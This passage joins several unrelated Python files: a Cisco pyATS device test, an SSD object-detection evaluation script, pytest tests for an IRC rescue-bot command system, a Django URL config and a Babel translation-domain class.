            platform: iosxe
            type: iosxe
        """
        self.testbed = loader.load(testbed)
        self.device = self.testbed.devices['CR-Vulcan-L25']
        self.device.connect(
            learn_hostname=True,
            init_config_commands=[],
            init_exec_commands=[]
        )

    def test_unconfigure_hw_module_slot_shutdown(self):
        result = unconfigure_hw_module_slot_shutdown(self.device, '2')
        expected_output = 'no hw-module slot 2 shutdown\r\n' \
                          'no hw-module slot 2 shutdown\r\n' \
                          '%No shutdown Command is being executed for slot 2\r\n\r\n' \
                          '%Please wait for few seconds before doing any further operations on this card\r\n\r\n'
        self.assertEqual(result, expected_output)


import torch
from torch.utils.data import DataLoader
from torchvision.utils import save_image

import numpy as np
import os
from datetime import datetime
import enlighten
import argparse

from data import load_dataset, detection_data_collate
from ssd import build_ssd_and_priors
from detector import Detector
from metrics import detection_eval, plot_PRcurve

device = torch.device("cpu")
if torch.cuda.is_available():
    torch.backends.cudnn.benchmark = True
    device = torch.device("cuda:0")

def test(model_path: str, dataset_name: str, image_size: int, obj_class_category: str = "", test_run: bool = False):
    eval_time = datetime.now()
    eval_dir = os.path.join(os.path.dirname(model_path), "evals", f'{eval_time.strftime("%Y-%m-%d")}_{eval_time.strftime("%H:%M:%S")}')
    os.makedirs(eval_dir)

    dataset = load_dataset(dataset_name, image_size, random_crops=True, obj_class_category=obj_class_category)
    num_object_classes = len(dataset.get_classes()) + 1  # +1 for background or no object class
    dcat_map = dataset.category_map

    # get model
    ssd_net, priors = build_ssd_and_priors(image_size, num_object_classes)
    if model_path:
        print("Loading model from", model_path)
        ckpt = torch.load(model_path, map_location=device)
        ssd_net.load_state_dict(ckpt)
    ssd_net, priors = ssd_net.to(device), priors.to(device)  # transfer model to device
    detection_head = Detector(num_object_classes, top_k=10, conf_thresh=0.1, nms_thresh=0.45, bkg_label=0)
    ssd_net.eval()

    test_dl = DataLoader(dataset, 256, num_workers=8, shuffle=False, collate_fn=detection_data_collate,
                         pin_memory=True)
    recalls, precisions = [], []
    progress_manager = enlighten.get_manager()
    batch_progress = progress_manager.counter(total=len(test_dl), desc="\tBatches", unit="images", leave=False)
    for bi, (timages, ttargets) in enumerate(test_dl):
        if test_run and bi > 2:
            break
        eval_results = detection_eval(timages, ttargets, priors, num_object_classes, ssd_net, detection_head, dcat_map, device)
        recalls.append(eval_results.recall)
        precisions.append(eval_results.precision)
        batch_progress.update()
    progress_manager.stop()
    # save first batch images
    save_image(eval_results.images_with_GT, os.path.join(eval_dir, "GT_images.png"))
    save_image(eval_results.images_with_preds, os.path.join(eval_dir, "Pred_images.png"))
    # print map table in a text file and plot accumulated prec-recall curve
    recalls = np.mean(np.array(recalls), axis=0)
    precisions = np.mean(np.array(precisions), axis=0)
    plot_PRcurve(recalls, precisions, dcat_map, eval_dir)
    with open(os.path.join(eval_dir, "mAPs.txt"), "w") as fw:
        fw.write(f"mAP: {np.array(eval_results.mAP).mean()} \n")
        for mi, v in enumerate(eval_results.mAP):
            fw.write(f"{dcat_map[mi]}: {float(v)}\n")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Program to test a trained SSD model against a dataset of given size.')
    parser.add_argument("model_path", help="SSD model (.pth) to finetune.")
    parser.add_argument("--dataset", default="COCO", help="Dataset to train SSD for, currently only accepts {COCO}.")
    parser.add_argument("--image_size", type=int, default=128, help="Size (width==height in pixels) of the SSD input.")
    parser.add_argument("--dataset_subcategory", default="TRAFFIC", help='''Subset of specified dataset classes to train the SSD for.
                                                       Currently, allowing {TRAFFIC} for COCO dataset.
                                                       Specify more subcategories in data/coco/coco.py for allowing more.''')
    parser.add_argument("--test_run", action="store_true", help="Whether to run a minimal (5 epochs with 5 batches) training run for testing end-to-end functionality.")
    args = parser.parse_args()

    test(args.model_path, args.dataset, args.image_size, args.dataset_subcategory, args.test_run)


import pydle
import pytest

import src.packages.commands.rat_command as Commands
from src.packages.commands.rat_command import NameCollisionException
from src.packages.context.context import Context

from loguru import logger

@pytest.mark.unit
@pytest.mark.commands
class TestRatCommand(object):
    @pytest.mark.asyncio
    async def test_invalid_command(self, bot_fx):
        """
        Ensures that nothing happens and `trigger` exits quietly when no command can be found.
        """
        ctx = await Context.from_message(
            bot_fx, "#unittest", "some_recruit", "!unknowncommandsad hi!"
        )
        await Commands.trigger(ctx)

    @pytest.mark.parametrize("alias", ['potato', 'cannon', 'Fodder', 'fireball'])
    def test_double_command_registration(self, alias):
        """
        test verifying it is not possible to register a command twice.
        this prevents oddities where commands are bound but the bind is
        overwritten....
        """

        # lets define them initially.

        @Commands.command(alias)
        async def foo():
            pass

        # now prove we can't double assign it
        with pytest.raises(NameCollisionException):
            @Commands.command(alias)
            async def foo():
                pass

        del Commands._registered_commands[alias.casefold()]

    @pytest.mark.asyncio
    @pytest.mark.parametrize("alias", ['potato', 'cannon', 'Fodder', 'fireball'])
    async def test_call_command(self, alias, bot_fx, configuration_fx):
        """
        Verifiy that found commands can be invoked via Commands.Trigger()
        """

        trigger_alias = f"{configuration_fx.commands.prefix}{alias}"

        @Commands.command(alias)
        async def potato(context: Context):
            # print(f"bot={bot}\tchannel={channel}\tsender={sender}")
            return context.bot, context.channel, context.user.nickname

        ctx = await Context.from_message(bot_fx, "#unittest", "unit_test", trigger_alias)
        retn = await Commands.trigger(ctx)
        out_bot, out_channel, out_sender = retn

        assert 'unit_test' == out_sender
        assert "#unittest" == out_channel

        del Commands._registered_commands[alias.casefold()]

    @pytest.mark.parametrize("garbage", [12, None, "str"])
    def test_register_non_callable(self, garbage):
        """
        Verifies the correct exception is raised when someone tries to register
         something that is not callable.
        not sure how they would do this outside of calling the private directly
         or why...
        :return:
        """
        assert Commands._register(garbage, ['foo']) is False

    @pytest.mark.asyncio
    @pytest.mark.parametrize("alias", ['potato', 'cannon', 'Fodder', "fireball"])
    async def test_command_decorator_single(self, alias: str):
        """
        Verify`Commands.command` decorator can handle string registrations
        """

        # bunch of commands to test

        @Commands.command(alias)
        async def potato(bot: pydle.Client, channel: str, sender: str):
            # print(f"bot={bot}\tchannel={channel}\tsender={sender}")
            return bot, channel, sender

        assert alias.lower() in Commands._registered_commands.keys()

        del Commands._registered_commands[alias.casefold()]

    @pytest.mark.asyncio
    async def test_command_decorator_list(self):
        aliases = ['napalm', 'Ball', 'orange', 'TAngerine']

        # register the command
        @Commands.command(*aliases)
        async def potato(bot: pydle.Client, channel: str, sender: str):
            return bot, channel, sender

        for name in aliases:
            assert name.lower() in Commands._registered_commands.keys()

        for name in aliases:
            del Commands._registered_commands[name.casefold()]

    @pytest.mark.asyncio
    @pytest.mark.parametrize("name", ("unit_test[BOT]", "some_recruit", "some_ov"))
    @pytest.mark.parametrize("trigger_message", ["salad Baton", "Crunchy Cheddar", "POTATOES!",
                                                 "carrots"])
    async def test_command_preserves_arguments(self, trigger_message: str, name: str, bot_fx):
        """
        Verifies commands do not mutate argument words
            - because someone had the bright idea of casting ALL words to lower...
            (that would break things)
        """
        if name in Commands._registered_commands:
            del Commands._registered_commands[name.casefold()]
        ftrigger = f"!{name} {trigger_message}"
        words = [name] + trigger_message.split(" ")

        @Commands.command(name)
        async def the_command(context: Context):
            """asserts its arguments equal the outer scope"""
            assert words == context.words

        ctx = await Context.from_message(bot_fx, "#unit_test", "unit_test", ftrigger)
        await Commands.trigger(ctx)

        del Commands._registered_commands[name.casefold()]

    @pytest.mark.asyncio
    @pytest.mark.parametrize("alias", ['quiet'])
    async def test_call_command_quiet(self, alias, bot_fx, rat_board_fx, configuration_fx, random_string_fx):
        """
        Verifiy that the !quiet command returns useful information
        """
        trigger_alias = f"{configuration_fx.commands.prefix}{alias}"
        logger.debug(f"Triggering alias: {trigger_alias}")
        bot_fx.board = rat_board_fx
        ctx = await Context.from_message(bot_fx, "#unittest", "some_rat", trigger_alias)

        # Pre-case creation
        retn = await Commands.trigger(ctx)
        logger.debug(f"sent pre: {bot_fx.sent_messages} - lastcase: {rat_board_fx.last_case_datetime}")
        assert "Got no information yet" in bot_fx.sent_messages[0]['message']

        # During case active
        rescue = await rat_board_fx.create_rescue(client=random_string_fx)
        retn = await Commands.trigger(ctx)
        logger.debug(f"sent active: {bot_fx.sent_messages} - lastcase: {rat_board_fx.last_case_datetime}")
        assert "There is corrently an active rescue" in bot_fx.sent_messages[1]['message']

        # Post-case active
        await rat_board_fx.remove_rescue(rescue._board_index)
        retn = await Commands.trigger(ctx)
        logger.debug(f"sent post: {bot_fx.sent_messages} - lastcase: {rat_board_fx.last_case_datetime}")
        assert "The last case was created a few seconds ago." in bot_fx.sent_messages[2]['message']

    @pytest.mark.asyncio
    @pytest.mark.parametrize("alias", ['active', 'inactive', 'activate', 'deactivate'])
    async def test_call_command_active_no_inject(self, alias, bot_fx, rat_board_fx, configuration_fx, random_string_fx):
        """
        Verifiy that the !active command toggles the case active state when no injection message is passed
        At the same time, verify the bot output
        """
        rescue = await rat_board_fx.create_rescue(client=random_string_fx)
        trigger_alias = f"{configuration_fx.commands.prefix}{alias} {rescue.board_index}"
        logger.debug(f"Triggering alias: {trigger_alias}")
        bot_fx.board = rat_board_fx
        ctx = await Context.from_message(bot_fx, "#unittest", "some_rat", trigger_alias)

        # Pre-case creation
        default_state = rat_board_fx.get(rescue.board_index).active
        logger.debug(f"Default active state: {default_state}")
        assert default_state

        # De-activate case
        retn = await Commands.trigger(ctx)
        toggled_state = rat_board_fx.get(rescue.board_index).active
        logger.debug(f"Toggled active state (1): {toggled_state}")
        assert not toggled_state

        # Re-activate case
        retn = await Commands.trigger(ctx)
        toggled_state = rat_board_fx.get(rescue.board_index).active
        logger.debug(f"Toggled active state (2): {toggled_state}")
        assert toggled_state

        # Check bot output
        logger.debug(f"Messages sent: {bot_fx.sent_messages}")
        assert f"{random_string_fx}'s case is now Inactive." in bot_fx.sent_messages[0]['message']
        assert f"{random_string_fx}'s case is now Active." in bot_fx.sent_messages[1]['message']

    @pytest.mark.asyncio
    @pytest.mark.parametrize("alias", ['active', 'inactive', 'activate', 'deactivate'])
    async def test_call_command_active_with_inject(self, alias, bot_fx, rat_board_fx, configuration_fx, random_string_fx):
        """
        Verifiy that the !active command toggles the case active state when an injection message is passed
        At the same time, verify the bot output
        """
        rescue = await rat_board_fx.create_rescue(client=random_string_fx)
        trigger_alias = f"{configuration_fx.commands.prefix}{alias} {rescue.board_index} test inject message"
        logger.debug(f"Triggering alias: {trigger_alias}")
        bot_fx.board = rat_board_fx
        ctx = await Context.from_message(bot_fx, "#unittest", "some_rat", trigger_alias)

        # Pre-case creation
        default_state = rat_board_fx.get(rescue.board_index).active
        logger.debug(f"Default active state: {default_state}")
        assert default_state

        # De-activate case
        retn = await Commands.trigger(ctx)
        toggled_state = rat_board_fx.get(rescue.board_index).active
        logger.debug(f"Toggled active state (1): {toggled_state}")
        assert not toggled_state

        # Re-activate case
        retn = await Commands.trigger(ctx)
        toggled_state = rat_board_fx.get(rescue.board_index).active
        logger.debug(f"Toggled active state (2): {toggled_state}")
        assert toggled_state

        # Check bot output
        logger.debug(f"Messages sent: {bot_fx.sent_messages}")
        assert f"{random_string_fx}'s case updated with: 'test inject message' (Case {rescue.board_index})" in bot_fx.sent_messages[0]['message']
        assert f"{random_string_fx}'s case is now Inactive." in bot_fx.sent_messages[1]['message']
        assert f"{random_string_fx}'s case updated with: 'test inject message' (Case {rescue.board_index})" in bot_fx.sent_messages[2]['message']
        assert f"{random_string_fx}'s case is now Active." in bot_fx.sent_messages[3]['message']

    @pytest.mark.asyncio
    @pytest.mark.parametrize("alias", ["md", "mdadd"])
    @pytest.mark.parametrize("channel", ["#unittest", "some_rat"])
    async def test_call_command_md(
        self, alias, channel, bot_fx, configuration_fx, rat_board_fx, rescue_sop_fx
    ):
        assert (
            rescue_sop_fx.marked_for_deletion.marked == False
        ), "UNEXPECTED: SOP rescue already marked for deletion"
        bot_fx.board = rat_board_fx
        await bot_fx.board.append(rescue_sop_fx)
        assert len(bot_fx.board) == 1, f"Setting up a test case failed"

        trigger_alias = f"{configuration_fx.commands.prefix}{alias} {rescue_sop_fx.board_index}"
        logger.debug(f"Triggering alias: {trigger_alias}")
        await Commands.trigger(await Context.from_message(bot_fx, channel, "some_rat", trigger_alias))
        assert len(bot_fx.board) == 1, f"Case got closed by {trigger_alias} [without inject message]"
        assert (
            not rescue_sop_fx.marked_for_deletion.marked
        ), "SOP rescue became marked for deletion [without inject message]"

        trigger_alias = (
            f"{configuration_fx.commands.prefix}{alias} {rescue_sop_fx.board_index} Closing test case"
        )
        logger.debug(f"Triggering alias: {trigger_alias}")
        await Commands.trigger(await Context.from_message(bot_fx, channel, "some_rat", trigger_alias))
        assert len(bot_fx.board) == 0, f"Case did not get closed by {trigger_alias}"
        assert (
            rescue_sop_fx.marked_for_deletion.marked
        ), "SOP rescue did not become marked for deletion"


from django.urls import path
from . import views

app_name = 'travel'

urlpatterns = [

    path('home/',views.allPlace,name='allPlace'),
    path('<slug:d_slug>/',views.allPlace,name='place_by_district'),
    # path('<slug:d_slug>/<slug:p_slug>/',views.placeDetail,name='placeDisDetail')
    path('place/<int:place_id>/',views.detail,name='detail'),
    path('place/<int:id>',views.userComments,name='comments'),
    # path('comment/<slug:slug>/', views.post_detail, name='post_detail')
    # path('comment/<int:place_id>/',views.post_detailview,name='post_detail')
    path('image/<int:place_id>/',views.imgReviewdetail,name='imgshow'),
    path('image/<int:id>',views.imgReview,name='imgshows'),
]


import os
from babel import support

from .speaklater import LazyString
from babel import Locale

class Domain(object):
    """Localization domain. By default it will look for tranlations in the
    application directory and "messages" domain - all message catalogs
    should be called ``messages.mo``.
    """

    def __init__(self, request=None, dirname=None, domain='messages'):
        self.request = request
        self.dirname = dirname
        self.domain = domain

        self.cache = dict()

    def as_default(self):
        """Set this domain as the default one for the current request"""
        self.request.i18n.domain = self

    def get_translations_cache(self):
        """Returns a dictionary-like object for translation caching"""
        return self.cache

    def get_translations_path(self):
        """Returns the translations directory path. Override if you want
        to implement custom behavior.
        """
        return self.dirname

    def get_translations(self):
        """Returns the correct gettext translations that should be used for
        this request.  This will never fail and return a dummy translation
        object if used outside of the request or if a translation cannot be
        found.
        """

        if self.request is None:
            return support.NullTranslations()

        locale = self.request.i18n.get_locale()
        cache = self.get_translations_cache()

        translations = cache.get(str(locale))
        if translations is None:
            dirname = self.get_translations_path()
            translations = support.Translations.load(
                dirname,
                locale,
                domain=self.domain
            )
            self.cache[str(locale)] = translations

        return translations

    def list_translations(self):
        if not os.path.isdir(self.dirname):
            return []
        result = []
        for folder in os.listdir(self.dirname):
            locale_dir = os.path.join(self.dirname, folder, 'LC_MESSAGES')
            if not os.path.isdir(locale_dir):
                continue
            if filter(lambda x: x.endswith('.mo'), os.listdir(locale_dir)):
                result.append(Locale.parse(folder))
        if not result:
            result.append(Locale.parse(self.default_locale))
        return result

    def gettext(self, string, **variables):
        """Translates a string with the current locale and passes in the
        given keyword arguments as mapping to a string formatting string.

        ::

            gettext(u'Hello World!')
            gettext(u'Hello %(name)s!', name='World')
        """
        t = self.get_translations()
        if variables:
            return t.ugettext(string) % variables
        return t.ugettext(string)

    def ngettext(self, singular, plural, num, **variables):
        """Translates a string with the current locale and passes in the
        given keyword arguments as mapping to a string formatting string.
        The `num` parameter is used to dispatch between singular and various
        plural forms of the message.  It is available in the format string
        as ``%(num)d`` or ``%(num)s``.  The source language should be
        English or a similar language which only has one plural form.

        ::

            ngettext(u'%(num)d Apple', u'%(num)d Apples', num=len(apples))
        """
        variables.setdefault('num', num)
        t = self.get_translations()
        return t.ungettext(singular, plural, num) % variables

    def pgettext(self, context, string, **variables):
        """Like :func:`gettext` but with a context.

        Gettext uses the ``msgctxt`` notation to distinguish different
        contexts for the same ``msgid``

        For example::

            pgettext(u'Button label', 'Log in')

        Learn more about contexts here:
        https://www.gnu.org/software/gettext/manual/html_node/Contexts.html

        .. versionadded:: 0.7
        """
        t = self.get_translations()
        if variables:
            return t.upgettext(context, string) % variables
        return t.upgettext(context, string)

    def npgettext(self, context, singular, plural, num, **variables):
        """Like :func:`ngettext` but with a context.

        .. versionadded:: 0.7
        """
        variables.setdefault('num', num)
        t = self.get_translations()
        return t.unpgettext(context, singular, plural, num) % variables

    def lazy_gettext(self, string, **variables):
        """Like :func:`gettext` but the string returned is lazy which means
        it will be translated when it is used as an actual string.

        Example::

            hello = lazy_gettext(u'Hello World')

            @app.route('/')
            def index():
                return unicode(hello)
        """
        return LazyString(self.gettext, string, **variables)

    def lazy_pgettext(self, context, string, **variables):
        """Like :func:`pgettext` but the string returned is lazy which means
        it will be translated when it is used as an actual string.

        .. versionadded:: 0.7
        """
        return LazyString(self.pgettext, context, string, **variables)